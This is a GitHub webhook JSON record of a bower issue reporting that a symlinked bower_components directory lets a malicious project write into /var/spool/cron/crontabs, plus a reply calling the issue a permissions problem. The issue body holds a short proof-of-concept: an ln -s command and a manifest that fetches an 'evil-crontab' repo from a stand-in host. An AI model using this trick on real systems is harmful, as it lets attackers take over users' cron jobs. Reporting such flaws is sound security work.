{"action":"created","issue":{"url":"https://api.github.com/repos/bower/bower/issues/1891","labels_url":"https://api.github.com/repos/bower/bower/issues/1891/labels{/name}","comments_url":"https://api.github.com/repos/bower/bower/issues/1891/comments","events_url":"https://api.github.com/repos/bower/bower/issues/1891/events","html_url":"https://github.com/bower/bower/issues/1891","id":102792136,"number":1891,"title":"bower_components can be a symlink","user":{"login":"gronke","id":473924,"avatar_url":"https://avatars.githubusercontent.com/u/473924?v=3","gravatar_id":"","url":"https://api.github.com/users/gronke","html_url":"https://github.com/gronke","followers_url":"https://api.github.com/users/gronke/followers","following_url":"https://api.github.com/users/gronke/following{/other_user}","gists_url":"https://api.github.com/users/gronke/gists{/gist_id}","starred_url":"https://api.github.com/users/gronke/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/gronke/subscriptions","organizations_url":"https://api.github.com/users/gronke/orgs","repos_url":"https://api.github.com/users/gronke/repos","events_url":"https://api.github.com/users/gronke/events{/privacy}","received_events_url":"https://api.github.com/users/gronke/received_events","type":"User","site_admin":false},"labels":[],"state":"open","locked":false,"assignee":null,"milestone":null,"comments":3,"created_at":"2015-08-24T13:21:52Z","updated_at":"2015-10-15T22:34:25Z","closed_at":null,"body":"Trudy is in control of the projects top-level directory and creates a symlink from `./bower_components`\r\n\r\n```javascript\r\n{\r\n  \"name\": \"malicious\",\r\n  \"dependencies\": {\r\n    \"root\": \"https://example.com/trudy/evil-crontab.git\"\r\n  }\r\n}\r\n```\r\n```shell\r\nln -s /var/spool/cron/crontabs/ bower_components\r\ngit add bower_components --force\r\n...\r\n```\r\n\r\nThat will replace contents of `/var/spool/cron/crontabs/` and install all `dependencies` to this directory, what makes her being in control of user cronjobs."},"comment":{"url":"https://api.github.com/repos/bower/bower/issues/comments/148542344","html_url":"https://github.com/bower/bower/issues/1891#issuecomment-148542344","issue_url":"https://api.github.com/repos/bower/bower/issues/1891","id":148542344,"user":{"login":"tannerjfco","id":1390210,"avatar_url":"https://avatars.githubusercontent.com/u/1390210?v=3","gravatar_id":"","url":"https://api.github.com/users/tannerjfco","html_url":"https://github.com/tannerjfco","followers_url":"https://api.github.com/users/tannerjfco/followers","following_url":"https://api.github.com/users/tannerjfco/following{/other_user}","gists_url":"https://api.github.com/users/tannerjfco/gists{/gist_id}","starred_url":"https://api.github.com/users/tannerjfco/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/tannerjfco/subscriptions","organizations_url":"https://api.github.com/users/tannerjfco/orgs","repos_url":"https://api.github.com/users/tannerjfco/repos","events_url":"https://api.github.com/users/tannerjfco/events{/privacy}","received_events_url":"https://api.github.com/users/tannerjfco/received_events","type":"User","site_admin":false},"created_at":"2015-10-15T22:34:25Z","updated_at":"2015-10-15T22:34:25Z","body":"I think this issue is invalid. bower can only write where system permissions allow it to. If it's able to write to cron, the vulnerability lies with poorly implemented permissions. The solution is to run bower as a non-administrative/root user, that does not have permission to write to critical system paths"}}